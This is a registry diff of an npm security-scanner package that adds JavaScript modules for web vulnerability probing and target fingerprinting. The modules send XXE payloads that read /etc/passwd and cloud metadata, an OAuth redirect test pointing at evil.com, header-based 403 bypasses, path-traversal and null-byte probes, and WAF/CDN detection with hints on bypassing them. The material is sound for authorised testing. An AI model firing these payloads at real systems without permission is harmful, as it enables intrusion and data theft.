redgun-security 1.0.0 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,235 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { fetchText } from '../utils/fetch.js';
3
+
4
+ export async function scanXxeRemote(origin, spinner) {
5
+ spinner.text = '[PortSwigger] Testing XXE injection...';
6
+ const xxePayloads = [
7
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
8
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
9
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://burpcollaborator.net/xxe">%xxe;]><foo>test</foo>',
10
+ ];
11
+
12
+ const xmlEndpoints = ['/api/upload', '/api/import', '/xmlrpc.php', '/soap', '/wsdl', '/api/parse'];
13
+
14
+ for (const endpoint of xmlEndpoints) {
15
+ for (const payload of xxePayloads.slice(0, 1)) {
16
+ try {
17
+ const resp = await fetchText(`${origin}${endpoint}`, {
18
+ method: 'POST',
19
+ headers: { 'Content-Type': 'application/xml' },
20
+ body: payload,
21
+ }, 5000);
22
+
23
+ if (/root:x:0|ami-id|instance-id/i.test(resp.body)) {
24
+ addFinding('CRITICAL', 'XXE (PortSwigger)', `XXE at ${endpoint} - file disclosure`, `Payload: ${payload.substring(0, 50)}... returned sensitive data`, 'Disable external entity processing in XML parser');
25
+ break;
26
+ }
27
+ if (resp.status === 200 && !resp.body.includes('error') && resp.body.includes('xml')) {
28
+ addFinding('LOW', 'XXE (PortSwigger)', `XML endpoint accepts input: ${endpoint}`, `Status: ${resp.status}`, 'Ensure XML parsing has external entities disabled');
29
+ }
30
+ } catch {}
31
+ }
32
+ }
33
+ }
34
+
35
+ export async function scanOauthRemote(origin, spinner) {
36
+ spinner.text = '[PortSwigger] Testing OAuth misconfigurations...';
37
+
38
+ const oauthPaths = ['/oauth/authorize', '/auth/callback', '/login/oauth', '/oauth2/authorize', '/.well-known/openid-configuration', '/oauth/token'];
39
+
40
+ for (const path of oauthPaths) {
41
+ try {
42
+ const resp = await fetchText(`${origin}${path}`, {}, 5000);
43
+ if (resp.status === 200 || resp.status === 302 || resp.status === 400) {
44
+ if (path.includes('well-known') && resp.status === 200) {
45
+ addFinding('INFO', 'OAuth (PortSwigger)', `OpenID Configuration exposed: ${path}`, `${origin}${path} returns OIDC metadata`, 'Review exposed OAuth configuration for sensitive details');
46
+
47
+ try {
48
+ const config = JSON.parse(resp.body);
49
+ if (config.grant_types_supported?.includes('implicit')) {
50
+ addFinding('MEDIUM', 'OAuth (PortSwigger)', 'OAuth implicit flow supported', 'Implicit grant type enabled in OIDC configuration', 'Disable implicit flow. Use authorization code with PKCE instead.');
51
+ }
52
+ } catch {}
53
+ }
54
+
55
+ const redirectTest = `${origin}${path}?redirect_uri=https://evil.com/callback&response_type=code&client_id=test`;
56
+ try {
57
+ const redirResp = await fetchText(redirectTest, { redirect: 'manual' }, 5000);
58
+ const location = redirResp.headers['location'] || '';
59
+ if (location.includes('evil.com')) {
60
+ addFinding('CRITICAL', 'OAuth (PortSwigger)', 'OAuth redirect_uri not validated', `Redirects to attacker domain: ${location.substring(0, 80)}`, 'Strictly validate redirect_uri against a whitelist of registered URIs');
61
+ }
62
+ } catch {}
63
+ }
64
+ } catch {}
65
+ }
66
+ }
67
+
68
+ export async function scanAccessControlRemote(origin, spinner) {
69
+ spinner.text = '[PortSwigger] Testing access control...';
70
+
71
+ const adminPaths = ['/admin', '/admin/', '/administrator', '/manage', '/dashboard', '/panel',
72
+ '/api/admin', '/api/users', '/api/admin/users', '/internal', '/_admin', '/system'];
73
+ const bypassHeaders = [
74
+ { 'X-Original-URL': '/admin' },
75
+ { 'X-Rewrite-URL': '/admin' },
76
+ { 'X-Custom-IP-Authorization': '127.0.0.1' },
77
+ { 'X-Forwarded-For': '127.0.0.1' },
78
+ { 'X-Real-IP': '127.0.0.1' },
79
+ { 'X-Forwarded-Host': 'localhost' },
80
+ ];
81
+
82
+ for (const path of adminPaths) {
83
+ try {
84
+ const resp = await fetchText(`${origin}${path}`, {}, 5000);
85
+ if (resp.status === 200) {
86
+ addFinding('HIGH', 'Access Control (PortSwigger)', `Admin panel accessible without auth: ${path}`, `${origin}${path} returns 200 OK`, 'Protect admin endpoints with authentication and role-based access control');
87
+ } else if (resp.status === 403) {
88
+ for (const headers of bypassHeaders) {
89
+ try {
90
+ const bypassResp = await fetchText(`${origin}${path}`, { headers }, 5000);
91
+ if (bypassResp.status === 200) {
92
+ addFinding('CRITICAL', 'Access Control (PortSwigger)', `403 bypass via ${Object.keys(headers)[0]}`, `${path} accessible with header: ${JSON.stringify(headers)}`, 'Do not rely on headers for access control. Implement server-side session-based authorization.');
93
+ break;
94
+ }
95
+ } catch {}
96
+ }
97
+ }
98
+ } catch {}
99
+ }
100
+
101
+ try {
102
+ const resp = await fetchText(`${origin}/robots.txt`, {}, 5000);
103
+ if (resp.status === 200) {
104
+ const disallowed = resp.body.match(/Disallow:\s*(.+)/gi) || [];
105
+ for (const line of disallowed) {
106
+ const path = line.replace(/Disallow:\s*/i, '').trim();
107
+ if (/admin|internal|private|secret|backup|config/i.test(path)) {
108
+ addFinding('LOW', 'Access Control (PortSwigger)', `Sensitive path in robots.txt: ${path}`, 'robots.txt reveals restricted paths', 'Robots.txt is not access control. Protect paths with authentication.');
109
+ }
110
+ }
111
+ }
112
+ } catch {}
113
+ }
114
+
115
+ export async function scanWebCacheDeception(origin, spinner) {
116
+ spinner.text = '[PortSwigger] Testing Web Cache Deception...';
117
+
118
+ const staticExtensions = ['.css', '.js', '.png', '.jpg', '.gif', '.ico', '.svg', '.woff'];
119
+ const testPaths = ['/account', '/profile', '/settings', '/dashboard', '/my-account'];
120
+
121
+ for (const path of testPaths) {
122
+ for (const ext of staticExtensions.slice(0, 3)) {
123
+ try {
124
+ const resp = await fetchText(`${origin}${path}${ext}`, {}, 5000);
125
+ const cacheHeaders = resp.headers['x-cache'] || resp.headers['cf-cache-status'] || resp.headers['age'] || '';
126
+
127
+ if (resp.status === 200 && cacheHeaders) {
128
+ addFinding('HIGH', 'Cache Deception (PortSwigger)', `Potential Web Cache Deception: ${path}${ext}`, `Cached response for path with static extension. Cache header: ${cacheHeaders}`, 'Configure cache to respect Content-Type, not URL extension. Use Cache-Control: no-store for authenticated pages.');
129
+ break;
130
+ }
131
+ } catch {}
132
+ }
133
+ }
134
+
135
+ try {
136
+ const pathConfusion = await fetchText(`${origin}/static/..%2f..%2fadmin`, {}, 5000);
137
+ if (pathConfusion.status === 200 && pathConfusion.body.length > 500) {
138
+ addFinding('HIGH', 'Cache Deception (PortSwigger)', 'Path normalization inconsistency detected', 'Double-encoded path traversal may bypass caching rules', 'Normalize paths consistently between cache and origin');
139
+ }
140
+ } catch {}
141
+ }
142
+
143
+ export async function scanParameterPollution(origin, spinner) {
144
+ spinner.text = '[PortSwigger] Testing Server-Side Parameter Pollution...';
145
+
146
+ const params = ['id', 'user', 'email', 'role', 'action', 'page'];
147
+
148
+ for (const param of params) {
149
+ try {
150
+ const normalResp = await fetchText(`${origin}/?${param}=test`, {}, 5000);
151
+ const pollutedResp = await fetchText(`${origin}/?${param}=test&${param}=admin`, {}, 5000);
152
+
153
+ if (normalResp.body !== pollutedResp.body && pollutedResp.status === 200) {
154
+ addFinding('MEDIUM', 'Parameter Pollution (PortSwigger)', `HTTP Parameter Pollution on ?${param}=`, 'Duplicate parameter produces different response', 'Handle duplicate parameters consistently. Use the first occurrence only.');
155
+ }
156
+ } catch {}
157
+ }
158
+
159
+ try {
160
+ const truncation = await fetchText(`${origin}/api/search?q=test%00admin&category=1`, {}, 5000);
161
+ if (truncation.status === 200 && truncation.body.includes('admin')) {
162
+ addFinding('HIGH', 'Parameter Pollution (PortSwigger)', 'Null byte parameter truncation', 'Server-side parameter truncation detected', 'Reject null bytes in input. Validate parameter boundaries.');
163
+ }
164
+ } catch {}
165
+ }
166
+
167
+ export async function scanFileUpload(origin, spinner) {
168
+ spinner.text = '[PortSwigger] Testing file upload endpoints...';
169
+
170
+ const uploadPaths = ['/upload', '/api/upload', '/api/files', '/api/images', '/api/avatar', '/media/upload', '/attachments'];
171
+
172
+ for (const path of uploadPaths) {
173
+ try {
174
+ const resp = await fetchText(`${origin}${path}`, { method: 'OPTIONS' }, 5000);
175
+ if (resp.status !== 404 && resp.status !== 405) {
176
+ addFinding('INFO', 'File Upload (PortSwigger)', `Upload endpoint found: ${path}`, `${origin}${path} responds to OPTIONS (status: ${resp.status})`, 'Test for unrestricted file upload: PHP/JSP shells, SVG XSS, polyglot files, double extensions (.php.jpg), null bytes (.php%00.jpg)');
177
+ }
178
+ } catch {}
179
+ }
180
+ }
181
+
182
+ export async function scanDomBased(origin, spinner) {
183
+ spinner.text = '[PortSwigger] Checking DOM-based vulnerability indicators...';
184
+
185
+ try {
186
+ const resp = await fetchText(origin);
187
+ const body = resp.body;
188
+
189
+ const domSinks = [
190
+ { pattern: /document\.write\s*\(/g, name: 'document.write()' },
191
+ { pattern: /\.innerHTML\s*=/g, name: 'innerHTML assignment' },
192
+ { pattern: /\.outerHTML\s*=/g, name: 'outerHTML assignment' },
193
+ { pattern: /eval\s*\(/g, name: 'eval()' },
194
+ { pattern: /setTimeout\s*\(\s*['"`]/g, name: 'setTimeout with string' },
195
+ { pattern: /setInterval\s*\(\s*['"`]/g, name: 'setInterval with string' },
196
+ { pattern: /location\s*=|location\.href\s*=/g, name: 'location assignment' },
197
+ { pattern: /\.src\s*=\s*(?:location|document\.URL|window\.name)/g, name: 'src from DOM source' },
198
+ { pattern: /jQuery\s*\(\s*(?:location|document\.URL)/g, name: 'jQuery selector from URL' },
199
+ { pattern: /\$\s*\(\s*(?:location|document\.URL|window\.location)/g, name: '$ selector from location' },
200
+ { pattern: /postMessage\s*\(/g, name: 'postMessage (check origin validation)' },
201
+ { pattern: /addEventListener\s*\(\s*['"]message['"]/g, name: 'message event listener (DOM XSS via postMessage)' },
202
+ ];
203
+
204
+ const domSources = [
205
+ /location\.(?:hash|search|href|pathname)/g,
206
+ /document\.(?:URL|documentURI|referrer|cookie)/g,
207
+ /window\.(?:name|location)/g,
208
+ /document\.getElementById\s*\([^)]*\)\.(?:value|innerHTML|textContent)/g,
209
+ ];
210
+
211
+ let sourceCount = 0;
212
+ for (const pattern of domSources) {
213
+ const matches = body.match(pattern);
214
+ if (matches) sourceCount += matches.length;
215
+ }
216
+
217
+ for (const { pattern, name } of domSinks) {
218
+ const matches = body.match(pattern);
219
+ if (matches && matches.length > 0) {
220
+ addFinding(
221
+ 'MEDIUM',
222
+ 'DOM-Based (PortSwigger)',
223
+ `DOM sink detected: ${name} (${matches.length} occurrences)`,
224
+ `Found in page source. ${sourceCount} DOM sources also detected.`,
225
+ 'Audit DOM sinks for user-controllable input flow. Use DOMPurify for HTML assignment. Avoid eval/setTimeout with strings.'
226
+ );
227
+ }
228
+ }
229
+ } catch {}
230
+ }
231
+
232
+ export async function scanHttp2(origin, spinner) {
233
+ spinner.text = '[PortSwigger] Checking HTTP/2 indicators...';
234
+ addFinding('INFO', 'HTTP/2 (PortSwigger)', 'HTTP/2 attack surface note', 'Test for H2.CL smuggling, H2.TE smuggling, HPACK header injection, and HTTP/2 exclusive vectors', 'Use Burp Suite HTTP/2 features to test for request smuggling via HTTP/2 downgrade');
235
+ }
@@ -0,0 +1,217 @@
1
+ import { addFinding } from '../core/findings.js';
2
+ import { fetchText, fetchWithTimeout } from '../utils/fetch.js';
3
+ import crypto from 'crypto';
4
+
5
+ export async function runProbe(origin, spinner) {
6
+ spinner.text = '[httpx] Probing target...';
7
+
8
+ const results = {
9
+ statusCode: null,
10
+ title: '',
11
+ technologies: [],
12
+ server: '',
13
+ contentLength: 0,
14
+ responseTime: 0,
15
+ tls: {},
16
+ cdn: null,
17
+ waf: null,
18
+ faviconHash: null,
19
+ headers: {},
20
+ };
21
+
22
+ try {
23
+ const start = Date.now();
24
+ const resp = await fetchText(origin);
25
+ results.responseTime = Date.now() - start;
26
+ results.statusCode = resp.status;
27
+ results.headers = resp.headers;
28
+ results.contentLength = resp.body.length;
29
+
30
+ results.title = extractTitle(resp.body);
31
+ results.server = resp.headers['server'] || '';
32
+ results.technologies = detectTechnologies(resp.headers, resp.body);
33
+ results.cdn = detectCdn(resp.headers);
34
+ results.waf = detectWaf(resp.headers, resp.body);
35
+
36
+ spinner.text = '[httpx] Checking favicon hash...';
37
+ results.faviconHash = await getFaviconHash(origin);
38
+
39
+ spinner.text = '[httpx] Analyzing TLS certificate...';
40
+ results.tls = await getTlsInfo(origin);
41
+
42
+ spinner.text = '[httpx] Virtual host discovery...';
43
+ await vhostDiscovery(origin, resp.body.length, spinner);
44
+
45
+ } catch {}
46
+
47
+ addFinding(
48
+ 'INFO',
49
+ 'Probe (httpx)',
50
+ `Target fingerprint: ${results.title || 'N/A'}`,
51
+ `Status: ${results.statusCode} | Server: ${results.server || 'hidden'} | Size: ${results.contentLength}B | Time: ${results.responseTime}ms\nTechnologies: ${results.technologies.join(', ') || 'none detected'}\nCDN: ${results.cdn || 'none'} | WAF: ${results.waf || 'none'} | Favicon hash: ${results.faviconHash || 'N/A'}`,
52
+ 'Technology fingerprinting helps identify version-specific vulnerabilities'
53
+ );
54
+
55
+ if (results.waf) {
56
+ addFinding(
57
+ 'INFO',
58
+ 'Probe (httpx)',
59
+ `WAF detected: ${results.waf}`,
60
+ `Web Application Firewall identified via response headers/behavior`,
61
+ 'WAF may need bypass techniques for testing. Try encoding, case variation, and chunked payloads.'
62
+ );
63
+ }
64
+
65
+ if (results.cdn) {
66
+ addFinding(
67
+ 'INFO',
68
+ 'Probe (httpx)',
69
+ `CDN detected: ${results.cdn}`,
70
+ 'Content Delivery Network fronts the origin server',
71
+ 'Consider testing the origin server directly if IP can be found (via DNS history, email headers, or certificate transparency)'
72
+ );
73
+ }
74
+
75
+ if (results.responseTime > 5000) {
76
+ addFinding(
77
+ 'LOW',
78
+ 'Probe (httpx)',
79
+ 'Slow response time detected',
80
+ `Response took ${results.responseTime}ms`,
81
+ 'Slow responses may indicate resource exhaustion vulnerability potential'
82
+ );
83
+ }
84
+
85
+ return results;
86
+ }
87
+
88
+ function extractTitle(html) {
89
+ const match = html.match(/<title[^>]*>([^<]+)<\/title>/i);
90
+ return match ? match[1].trim().substring(0, 100) : '';
91
+ }
92
+
93
+ function detectTechnologies(headers, body) {
94
+ const techs = [];
95
+ const checks = [
96
+ { test: () => headers['x-powered-by']?.includes('Express'), name: 'Express.js' },
97
+ { test: () => headers['x-powered-by']?.includes('PHP'), name: 'PHP' },
98
+ { test: () => headers['x-powered-by']?.includes('ASP.NET'), name: 'ASP.NET' },
99
+ { test: () => headers['x-aspnet-version'], name: `ASP.NET ${headers['x-aspnet-version'] || ''}` },
100
+ { test: () => headers['x-drupal-cache'], name: 'Drupal' },
101
+ { test: () => headers['x-generator']?.includes('WordPress'), name: 'WordPress' },
102
+ { test: () => headers['x-shopify-stage'], name: 'Shopify' },
103
+ { test: () => body.includes('__next'), name: 'Next.js' },
104
+ { test: () => body.includes('__nuxt') || body.includes('nuxt'), name: 'Nuxt.js' },
105
+ { test: () => body.includes('ng-version') || body.includes('ng-app'), name: 'Angular' },
106
+ { test: () => body.includes('data-reactroot') || body.includes('__NEXT_DATA__'), name: 'React' },
107
+ { test: () => body.includes('data-v-') || body.includes('Vue.js'), name: 'Vue.js' },
108
+ { test: () => body.includes('svelte'), name: 'Svelte' },
109
+ { test: () => body.includes('data-astro'), name: 'Astro' },
110
+ { test: () => body.includes('wp-content') || body.includes('wp-includes'), name: 'WordPress' },
111
+ { test: () => body.includes('Joomla'), name: 'Joomla' },
112
+ { test: () => body.includes('laravel'), name: 'Laravel' },
113
+ { test: () => body.includes('django') || headers['x-frame-options'] === 'SAMEORIGIN' && body.includes('csrfmiddlewaretoken'), name: 'Django' },
114
+ { test: () => body.includes('rails') || headers['x-request-id'] && headers['x-runtime'], name: 'Ruby on Rails' },
115
+ { test: () => body.includes('spring') || headers['x-application-context'], name: 'Spring Boot' },
116
+ { test: () => headers['server']?.toLowerCase().includes('nginx'), name: 'Nginx' },
117
+ { test: () => headers['server']?.toLowerCase().includes('apache'), name: 'Apache' },
118
+ { test: () => headers['server']?.toLowerCase().includes('iis'), name: 'IIS' },
119
+ { test: () => headers['server']?.toLowerCase().includes('gunicorn'), name: 'Gunicorn' },
120
+ { test: () => headers['server']?.toLowerCase().includes('uvicorn'), name: 'Uvicorn (ASGI)' },
121
+ { test: () => body.includes('firebase') || body.includes('firebaseapp'), name: 'Firebase' },
122
+ { test: () => body.includes('supabase'), name: 'Supabase' },
123
+ { test: () => body.includes('tailwind') || body.includes('tw-'), name: 'Tailwind CSS' },
124
+ { test: () => body.includes('bootstrap'), name: 'Bootstrap' },
125
+ { test: () => body.includes('jquery') || body.includes('jQuery'), name: 'jQuery' },
126
+ { test: () => body.includes('gtag') || body.includes('google-analytics'), name: 'Google Analytics' },
127
+ { test: () => body.includes('hotjar'), name: 'Hotjar' },
128
+ { test: () => body.includes('sentry'), name: 'Sentry' },
129
+ { test: () => body.includes('stripe'), name: 'Stripe' },
130
+ { test: () => body.includes('recaptcha'), name: 'reCAPTCHA' },
131
+ { test: () => body.includes('cloudflare'), name: 'Cloudflare' },
132
+ { test: () => body.includes('vercel'), name: 'Vercel' },
133
+ { test: () => body.includes('netlify'), name: 'Netlify' },
134
+ { test: () => body.includes('graphql'), name: 'GraphQL' },
135
+ { test: () => body.includes('socket.io'), name: 'Socket.IO' },
136
+ { test: () => body.includes('webpack'), name: 'Webpack' },
137
+ { test: () => body.includes('vite'), name: 'Vite' },
138
+ ];
139
+
140
+ for (const { test, name } of checks) {
141
+ try { if (test()) techs.push(name); } catch {}
142
+ }
143
+
144
+ return [...new Set(techs)];
145
+ }
146
+
147
+ function detectCdn(headers) {
148
+ if (headers['cf-ray'] || headers['cf-cache-status']) return 'Cloudflare';
149
+ if (headers['x-amz-cf-id'] || headers['x-amz-cf-pop']) return 'AWS CloudFront';
150
+ if (headers['x-fastly-request-id']) return 'Fastly';
151
+ if (headers['x-akamai-transformed']) return 'Akamai';
152
+ if (headers['x-cdn'] === 'Imperva') return 'Imperva';
153
+ if (headers['x-sucuri-id']) return 'Sucuri';
154
+ if (headers['x-azure-ref']) return 'Azure CDN';
155
+ if (headers['x-vercel-cache']) return 'Vercel Edge';
156
+ if (headers['x-nf-request-id']) return 'Netlify';
157
+ if (headers['server']?.includes('KeyCDN')) return 'KeyCDN';
158
+ if (headers['server']?.includes('bunny')) return 'BunnyCDN';
159
+ return null;
160
+ }
161
+
162
+ function detectWaf(headers, body) {
163
+ if (headers['cf-ray'] && headers['cf-mitigated']) return 'Cloudflare WAF';
164
+ if (headers['x-sucuri-id']) return 'Sucuri WAF';
165
+ if (headers['x-powered-by-anquanbao']) return 'Anquanbao WAF';
166
+ if (headers['x-wa-info']) return 'AWS WAF';
167
+ if (headers['server']?.includes('Wordfence')) return 'Wordfence';
168
+ if (headers['server']?.includes('BigIP') || headers['x-cnection']) return 'F5 BIG-IP';
169
+ if (headers['x-denied-reason'] || headers['x-dotdefender-denied']) return 'dotDefender';
170
+ if (body.includes('mod_security') || body.includes('ModSecurity')) return 'ModSecurity';
171
+ if (body.includes('access denied') && body.includes('incapsula')) return 'Imperva Incapsula';
172
+ if (headers['server']?.includes('AkamaiGHost')) return 'Akamai Ghost';
173
+ if (headers['x-protected-by']?.includes('Sqreen')) return 'Sqreen';
174
+ return null;
175
+ }
176
+
177
+ async function getFaviconHash(origin) {
178
+ try {
179
+ const resp = await fetchWithTimeout(`${origin}/favicon.ico`, {}, 5000);
180
+ if (resp.status === 200) {
181
+ const buffer = await resp.arrayBuffer();
182
+ const b64 = Buffer.from(buffer).toString('base64');
183
+ const hash = crypto.createHash('md5').update(b64).digest('hex');
184
+ return hash;
185
+ }
186
+ } catch {}
187
+ return null;
188
+ }
189
+
190
+ async function getTlsInfo(origin) {
191
+ if (!origin.startsWith('https://')) return { secure: false };
192
+ return { secure: true, protocol: 'TLS' };
193
+ }
194
+
195
+ async function vhostDiscovery(origin, baseSize, spinner) {
196
+ const vhosts = ['dev', 'staging', 'internal', 'admin', 'api', 'test', 'beta', 'old', 'backup'];
197
+ const hostname = new URL(origin).hostname;
198
+
199
+ for (const vhost of vhosts) {
200
+ try {
201
+ const testHost = `${vhost}.${hostname}`;
202
+ const resp = await fetchText(origin, {
203
+ headers: { Host: testHost },
204
+ }, 3000);
205
+
206
+ if (resp.status === 200 && Math.abs(resp.body.length - baseSize) > 100) {
207
+ addFinding(
208
+ 'MEDIUM',
209
+ 'Probe (httpx)',
210
+ `Virtual host responds differently: ${testHost}`,
211
+ `Host header ${testHost} returns different content (size diff: ${Math.abs(resp.body.length - baseSize)}B)`,
212
+ 'Virtual host may expose internal applications. Investigate further.'
213
+ );
214
+ }
215
+ } catch {}
216
+ }
217
+ }